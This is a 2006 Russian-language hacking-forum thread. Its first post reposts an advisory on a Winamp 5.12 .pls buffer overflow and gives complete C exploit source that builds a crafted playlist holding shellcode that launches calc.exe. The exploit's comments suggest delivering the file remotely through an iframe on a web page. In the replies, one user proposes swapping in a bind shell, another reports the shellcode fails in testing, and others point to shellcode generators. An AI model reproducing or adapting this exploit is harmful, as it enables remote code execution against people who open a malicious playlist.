winamp0day Эксплоит

Discussion in 'Безопасность и Анонимность' started by tclover, 30 Jan 2006.

  1. tclover

    tclover nobody

    Joined:
    13 Dec 2005
    Messages:
    741
    Likes Received:
    682
    Reputations:
    287
    Программа: Nullsoft Winamp 5.12 и более ранние версии
    Описание:
    Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе.
    Переполнение буфера обнаружено при обработке тега “File1” в “.pls” файлах. Удаленный пользователь может с помощью специально сформированного файла выполнить произвольный код на целевой системе.
    Источник www.securitylab.ru/
    Код:
    -------------------------------------------------------------------
    /*
    *
    * Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
    * Bug discovered & exploit coded by ATmaCA
    * Web: http://www.spyinstructors.com && http://www.atmacasoft.com
    * E-Mail: [email protected]
    * Credit to Kozan
    *
    */

    /*
    *
    * Tested with :
    * Winamp 5.12 on Win XP Pro Sp2
    *
    */

    /*
    * Usage:
    *
    * Execute exploit, it will create "crafted.pls" in current directory.
    * Duble click the file, or single click right and then select "open".
    * And Winamp will launch a Calculator (calc.exe)
    *
    */

    /*
    *
    * For to use it remotly,
    * make a html page containing an iframe linking to the .pls file.
    *
    * http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
    *
    */

    #include <windows.h>
    #include <stdio.h>

    #define BUF_LEN 0x045D
    #define PLAYLIST_FILE "crafted.pls"

    char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
    char szPlayListHeader2[] = "\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

    // Jump to shellcode
    char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

    // Harmless Calc.exe
    char shellcode[] =
    "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
    "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
    "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
    "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
    "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
    "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
    "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
    "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
    "\x61\xdd\x0e\x4d";


    int main(int argc,char *argv[])
    {
    printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
    printf("\nBug discovered & exploit coded by ATmaCA");
    printf("\nWeb: http://www.spyinstructors.com && http://www.atmacasoft.com");
    printf("\nE-Mail: [email protected]");
    printf("\nCredit to Kozan");

    FILE *File;
    char *pszBuffer;

    if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
    printf("\n [Err:] fopen()");
    exit(1);
    }

    pszBuffer = (char*)malloc(BUF_LEN);
    memset(pszBuffer,0x90,BUF_LEN);
    memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
    memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
    memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
    memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

    fwrite(pszBuffer, BUF_LEN, 1,File);
    fclose(File);

    printf("\n\n" PLAYLIST_FILE " has been created in the current directory.\n");
    return 1;
    }
    ----------------------------------------------------------------------
     
    madik and Hitman_2 like this.
  2. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    Сейчас сделаем биндшелл...
     
  3. Vandal

    Vandal Elder - Старейшина

    Joined:
    10 Mar 2005
    Messages:
    207
    Likes Received:
    18
    Reputations:
    3
    Kez , что такое биндшелл
     
    1 person likes this.
  4. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    проверил на двух виндах и трёх винампах - калькулятор не запускается. Видимо, паблик шелкод с глюком.
     
  5. lexa

    lexa Elder - Старейшина

    Joined:
    14 Jan 2005
    Messages:
    75
    Likes Received:
    11
    Reputations:
    -2
    так сам сделай генераторов шелкода полно !!!!!
     
  6. max_pain89

    max_pain89 Eat `em UP!

    Joined:
    11 Dec 2004
    Messages:
    451
    Likes Received:
    140
    Reputations:
    146
    Вандал, купи январский нахер
     
  7. Prince_Dark

    Prince_Dark New Member

    Joined:
    5 Nov 2005
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    некогда не знал что это такое и как это читать?
     
  8. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Почитай КЕЗову статью про переполнение =)

    Это машинный код в 16-ричном представлении. Иногда его комментируют соотв. строчками на ассемблере. А так при желании можно его самому дизассемблить